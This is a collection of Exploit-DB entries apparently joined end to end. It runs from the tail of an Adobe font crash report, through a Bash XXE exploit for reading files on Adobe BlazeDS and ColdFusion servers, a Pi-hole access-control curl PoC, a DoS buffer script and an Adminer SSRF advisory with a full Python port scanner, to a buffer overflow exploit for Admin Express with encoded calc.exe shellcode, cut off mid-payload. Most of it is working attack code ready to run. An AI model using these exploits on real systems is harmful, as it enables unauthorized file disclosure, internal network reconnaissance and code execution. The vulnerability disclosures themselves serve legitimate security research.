11 012fcaac 0c129704 AGM!AGMGetVersion+0x2585fd
12 012fcd48 62c11f7a AGM!AGMGetVersion+0x221904
13 012fcd88 62c1fde1 BIB!BIBInitialize4+0x7ff
14 012fcd90 62c11ee1 BIB!BIBLockSmithUnlockImpl+0x48c9
15 00000000 00000000 BIB!BIBInitialize4+0x766
--- cut ---

The value of ECX is loaded from EAX:

--- cut ---
0:000> u @$scopeip-7
CoolType!CTGetVersion+0xafcc8:
548d0e60 8b4808          mov     ecx,dword ptr [eax+8]
548d0e63 ff7004          push    dword ptr [eax+4]
548d0e66 51              push    ecx
548d0e67 ff510c          call    dword ptr [ecx+0Ch]
548d0e6a 83c40c          add     esp,0Ch
548d0e6d 85c0            test    eax,eax
548d0e6f 7405            je      CoolType!CTGetVersion+0xafcde (548d0e76)
548d0e71 33c0            xor     eax,eax
--- cut ---

And it is clear that almost none of the memory under [EAX] is initialized at the time of the crash:

--- cut ---
0:000> dd eax
84ca7ef4  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f04  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c00000
84ca7f14  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f24  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f34  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f44  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f54  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
84ca7f64  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47260.zip
            
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# 	"Multiple Adobe Products: BlazeDS 3.2 and earlier versions, 
# 	 LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
#	 and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#


PROGNAME="$(basename $0)"                       # This script
TIMESTAMP=$(date +%y%m%d%H%M)                   # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}"     # Used as generic scratchfile
EXITCODE="0"					# Assume success, changes on errors
CURL="/usr/bin/curl"				# Other locations are detected with "which"

SSL="0"						# Overridden by -s
DEBUG="0"					# Overridden by -d
BREAKFOUND="0"					# Overridden by -b
TARGETHOST=""					# Overridden by -h
TARGETPORT="8400"				# Overridden by -p
READFILE="/etc/passwd"				# Overridden by -f


################################## OVERHEAD SECTION 
# 
# Various functions for overhead purposes.
#

# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
        LEVEL="$1"
        MESSAGE="$2"

	# You may switch the following two, if you need to log to syslog.
        #[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
        [[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}


ExitCleanup() {
	EXITCODE=${1} 
	rm -f ${SCRATCHFILE}* >/dev/null 2>&1
	echo ""
	exit ${EXITCODE}
}


# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
    local IP=${1}
    local STAT=1

    if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
    then
        OIFS=$IFS; IFS='.'
        IP=(${IP})
        IFS=$OIFS
        [[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
        stat=$?
    fi
    return $stat
}


# Function to output help information.
show-help() {
        echo ""
        cat << EOF
        ${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]

	   -?   Show this help message.
	   -d   Debug mode, outputs more kruft on stdout.
	   -s   Use SSL / HTTPS, instead of HTTP.
	   -b	Break on the first valid answer found.
	   -h	Target host
	   -p	Target port, defaults to 8400.
	   -f	Full path to file to grab, defaults to /etc/passwd.

	This script exploits a known vulnerability in a set of Adobe applications. Using one 
	of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
	normally inaccessible. 

	NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
	${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
	${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'

	This script relies on CURL, so please have it in your PATH. 

EOF
}


# Parsing and verifying the passed parameters.
OPTIND=1        
while getopts "?dsbh:p:f:" opt; do
    case "$opt" in
    \?) show-help; ExitCleanup 0 ;;
     d) DEBUG="1" ;;
     s) SSL="1" ;;
     b) BREAKFOUND="1" ;;
     h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
	then TARGETHOST=${OPTARG}
	else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
	     [[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
	fi ;;
     p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
	then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
	else TARGETPORT=${OPTARG}
	fi ;;
     f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
	if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
	then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
	else READFILE=${OPTARG}
	fi ;;
     *) show-help; ExitCleanup 0 ;;
    esac
done

[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)

[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."


################################## GETTING TO WORK
# 
#

PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
          "/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
          "/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
          "/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
          "/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
          "/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
          "/lcds-samples/messagebroker/httpsecure")

echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}

if [[ ${DEBUG} -gt 0 ]] 
then
   logger DEBUG "XML file sent to target host reads as follows:"
   echo "======================================"
   cat ${SCRATCHFILE}
   echo "======================================"
   echo ""
fi

let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1

for ADOBEPATH in "${PATHLIST[@]}"
do
   [[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
   URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"

   [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"

   # Header contents based on a tcpdump capture of original exploit being
   # run from Metasploit.
   HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""

   CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"

   [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"

   # The tr command dikes out any non-ASCII characters which might mess with output.
   CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)

   # Output is pretty garbled and the HTTP return code is enclosed in double quotes.
   # I need to grab the last 5 chars (includes NULL EOF) and remove the ".
   CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])

   if [[ ${DEBUG} -gt 0 ]] 
   then
	logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
	logger DEBUG "Output from CURL reads as follows:"
        echo "======================================"
	echo "${CURLOUTPUT}"
        echo "======================================"
	echo ""
   fi

   logger INFO "${CURLCODE} for ${URI}"

   if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]] 
   then 
	echo "Read from ${URI}:"
	echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
	[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
   fi

   if [[ ${DEBUG} -gt 0 ]] 
   then 
	echo -e "\nReady to continue with the next URI? [y/n]: \c"
       	read READY
	case ${READY} in
	   y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
	   *) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
	esac
   fi
done


ExitCleanup 0

            
# Exploit Title: AdminLTE PiHole < 5.18 - Broken Access Control
# Google Dork: [inurl:admin/scripts/pi-hole/phpqueryads.php](https://vuldb.com/?exploit_googlehack.216554)
# Date: 21.12.2022
# Exploit Author: kv1to
# Version: Pi-hole v5.14.2; FTL v5.19.2; Web Interface v5.17
# Tested on: Raspbian / Debian
# Vendor: https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-6qh8-6rrj-7497
# CVE : CVE-2022-23513

In case of an attack, the threat actor will obtain the ability to perform an unauthorized query for blocked domains on queryads endpoint.

## Proof Of Concept with curl:
curl 'http://pi.hole/admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>'

## HTTP requests
GET /admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>' HTTP/1.1
HOST: pi.hole
Cookie: [..SNIPPED..]
[..SNIPPED..]

## HTTP Response
HTTP/1.1 200 OK
[..SNIPPED..]

data: Match found in [..SNIPPED..]
data: <domain>
data: <domain>
data: <domain>
            
# -*- coding: utf-8 -*-
#!/usr/bin/python

# Exploit Title: AdminExpress 1.2.5 - Denial of Service (PoC)
# Date: 2019-04-12
# Exploit Author: Mücahit İsmail Aktaş
# Software Link: https://admin-express.en.softonic.com/
# Version: 1.2.5.485
# Tested on: Windows XP Professional SP2

# Description:
#
# 1) Click the "System Compare" button
# 2) Paste the payload in the "Folder Path" (left)
# 3) Click the scales icon (in the middle, right side of "Folder Path")
#


buffer = "A" * 5000

print("Payload: \n\n" + buffer + "\n")
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security           
 


Vendor:
==============
www.adminer.org


Product:
================
Adminer <= v4.3.1 

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.

https://github.com/vrana/adminer/releases/


Vulnerability Type:
===================
Server Side Request Forgery


CVE Reference:
==============
N/A


Security Issue:
================
Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to
identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts
but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself.

Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us.

Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server.
This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections. 

However, sysadmins who check the logs on the server hosting Adminer application will see our port scans.

root@lamp log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"


Details:
==================
By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed.

Port open ==> Lost connection to MySQL server at 'reading initial communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor 
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine actively refused it
Port closed ==> A connection attempt failed. 

This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability.


PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning
Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed. 

Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555


Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name 
from os import system as system_call

#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org 
#=========================
#D1rty0Tis says hi.

#timeout
MAX_TIME=32
#ports to log
port_lst=[]  
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443'] 

BANNER='''
           ____            _   __  __ _                  
          |  _  \         | | |  \/  (_)                 
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
          | |  | (_) | |  | |_| |  | | | | | |  __/ |    
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
       '''                               
   

def info():
    print "\nPortMiner depends on Error messages to determine open/closed ports."
    print "Read operations reported 'timed out' may be open/filtered.\n"


def greet():
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'
    print 'Targets Adminer used for MySQL administration\n'
    print 'by hyp3rlinx - apparition security'
    print '-----------------------------------------------------\n'
    print 'Scan small ranges or single ports or expect to wait.\n'
    print 'Do not scan networks without authorized permission.'
    print 'Author not responsible for abuse/misuse.\n'

    
def chk_ports(p): 
    p=p.replace('-',',')
    port_arg=p.split(',')
    try:
        if len(port_arg)>1:
            if int(port_arg[1]) < int(port_arg[0]):
                print 'Port range not valid.'
                raw_input()
                return
            if int(port_arg[1])>65535:
                print 'Exceeded max Port range 65535.'
                raw_input()
                return
    except Exception as e:
        print str(e)
        return None
    return list(range(int(port_arg[0]),int(port_arg[1])+1))



def log(IP):
    try:
        file=open('PortMiner.txt', 'w')
        file.write(IP+'\n')
        for p in port_lst:
            file.write(p+'\n')
        file.close()
    except Exception as e:
        print str(e)
    print "\nSee PortMiner.txt"


def use_ssl(ADMINER,ADMINER_PORT):
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ADMINER,int(ADMINER_PORT)))
        s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
        s.close()
    except Exception as e:
        print ""
        return False
    return True


def version(ip,port,uri,use_ssl):
    res=""
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,int(port)))
        if use_ssl:
            s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
        s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')

    except Exception as e:
        print 'Host up but cant connect.' #str(e)
        print 'Re-check Host/Port/URI.'
        s.close()
        return 504
     
    while True:
        RES=s.recv(512)
        if RES.find('Forbidden')!=-1:
            print 'Forbidden 403'
            s.close()
            return None
        if RES.find('401 Authorization Required')!=-1:
            print '401 Authorization Required'
            s.close()
            return None
        ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
        if not RES:
            s.close()
            return None
        if ver:
            print 'Your Adminer '+ ver[0] + ' works for us now.'
            s.close()
            return ver

    s.close()
    return None
 
       
               
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
    global MAX_TIME,port_range
    RES=''

    print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
    
    for aPort in port_range: 
         aPort=str(aPort)
         
         try:
             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(MAX_TIME)
             s.connect((ADMINER,ADMINER_PORT))
    
             if USE_SSL:
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 

             s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
    
         except Exception as e:
              print str(e)
              s.close()
              return

         while True:
              try:
                 RES=s.recv(512)
                 ###print RES
                 ###Should see HTTP/1.1 403 not 200
                 if RES.find('HTTP/1.1 200 OK')!=-1:
                     print 'port '+aPort +  ' open'
                     port_lst.append(aPort+' open')
                     s.close()
                     break
                    
                 if RES.find('400 Bad Request')!=-1:
                     print '400 Bad Request, check params'
                     s.close()
                     break
                     raw_input()                  

                 lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
                             "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)     
        
                 if lst:
                      status=str(lst)
                      if status.find('connect to MySQL')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('machine actively refused it.')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('A connection attempt failed')!=-1:
                          if PRINT_CLOSED:
                               print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('reading initial communication packet')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('MySQL server has gone away')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Bad file descriptor')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Got packets out of order')!=-1:
                          print 'port '+aPort +  ' open'
                          s.close()
                          break
                        
              except Exception  as e:
                  msg = str(e)
                  ###print msg
                  if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                      print 'port '+aPort +  ' open'
                      port_lst.append(aPort+' open')
                      s.close()
                      break
                  elif msg.find('timed out')!=-1: 
                      print 'port '+aPort + ' timed out'
                      port_lst.append(aPort+' read operation timed out')
                      s.close()
                      break
                  else:
                      s.close()
                      break
               
    if port_lst:
        log(TARGET)
    else:
        print "Scan completed, no ports mined."
    return 0



def arp(host):
    args = "-a" if system_name().lower()=="windows" else "-e"
    return subprocess.call("arp " + args + " " + host, shell=True) == 0
         

def ping_host(host):
    args = "-n 1" if system_name().lower()=="windows" else "-c 1"
    res=subprocess.call("ping " + args + " " + host, shell=True) == 0
    if not res:
        print str(host) + ' down? trying ARP'
        if not arp(host):
            print str(host) + ' unreachable.'
            return
    return res

    

def main():
    global port_range
    print BANNER
    greet()
    ADMINER_VERSION=False
    PRINT_CLOSED=False
    USE_SSL=None

    ADMINER=raw_input('[+] Adminer Host/IP> ')
    if ADMINER=='':
        print 'Enter valid Host/IP'
        ADMINER=raw_input('[+] Adminer Host/IP> ')
    
    ADMINER_PORT=raw_input('[+] Adminer Port> ')
    if not re.search("^\d{1,5}$",ADMINER_PORT):
        print 'Enter a valid Port.'
        ADMINER_PORT=raw_input('[+] Adminer Port> ')
    
    ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
    TARGET=raw_input('[+] Host/IP to Scan> ')
    
    PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
    plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
    if not plst:
        print 'Invalid ports, format is 1-1025'
        return
        raw_input() #console up

    port_range=chk_ports(PORTS_TO_SCAN)
    if not port_range:
        return

    PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
    if PRINT_CLOSED=='1':
        PRINT_CLOSED=True
    else:
        PRINT_CLOSED=False
    
    if not ping_host(ADMINER):
        print 'host %s not reachable or blocking ping ' % ADMINER  
        cont=raw_input('Continue with scan? 1=Yes any key for No> ')
        if cont!='1':
            print 'Scan aborted.'
            raw_input() #console up
            return
        

    USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
    time.sleep(2)
    ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)

    if not ADMINER_VERSION:
        print "Can't retrieve Adminer script. check supplied URI."
        raw_input() #console up
        return
    else:
        if ADMINER_VERSION==504:
            raw_input() #console up
            return
        if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
            more=raw_input('Info: 1=Yes, any key for No> ')
            if more=='1':
                info()
                raw_input() #console up

    
if __name__=='__main__':
    main()



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  December 16, 2017
Vendor Acknowledgment and reply "I could disallow connecting to well-known ports" : December 18, 2017
Vendor "Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this."
No more replies from vendor since : December 18, 2017
Attempt contact vendor : January 4, 2018
No more replies (unresponsive).
January 12, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
# Date: May 6th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: https://admin-express.en.softonic.com/
# Software Link: https://admin-express.en.softonic.com/download
# Version v1.2.5.485
# Tested on: Windows XP SP3 EN

# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open Admin Express
# 4. Select System Compare
# 5. Paste contents into the left-hand side Folder Path field
# 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs


# This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.
# 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.

# Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe
# You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is
# much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.
# You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.

# calc.exe shellcode:
# "\x31\xc9\x51\x68"
# "\x63\x61\x6c\x63"
# "\x54\xB8\xc7\x93"
# "\xc2\x77\xff\xd0"

# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"           # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10"          # and eax, 0x10101010

# We need to save the current stack pointer before execution of shellcode, due to
# old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)

# Stack alignment
# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54" # push esp
alignment += "\x58" # pop eax; (puts the value of ESP into EAX)

# Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do
# it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my
# other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub 
# math difference results. This is how I keep things straight
# 384D5555 364D5555 364E5555
alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555
alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555
alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555
alignment += "\x50" # push eax
alignment += "\x5c" # pop esp; (puts the value of eax back into esp)

# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.
# 1st line = 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one.

# 2nd line = 24121729 24121739 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24"     # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24"     # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" # push eax

# 3rd line = 34313635 34313434 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x50" # push eax

# 4th line = 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
shellcode += "\x50" # push eax

# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
# we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).
# Here are the 3 values: 403F2711 3F3F2711 3F3F2811
move = zero
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
move += "\x50" # push eax

# All together now.
payload = "\x41" * 4260
payload += "\x70\x7e\x71\x7e" # JO 126 bytes. If jump fails, default to JNO 126 bytes
payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL

# There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them
# so we have enough room for our shellcode and to decode.
payload += "\x41" * 122 # add padding since we jumped 7e hex bytes (126 bytes) above
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes
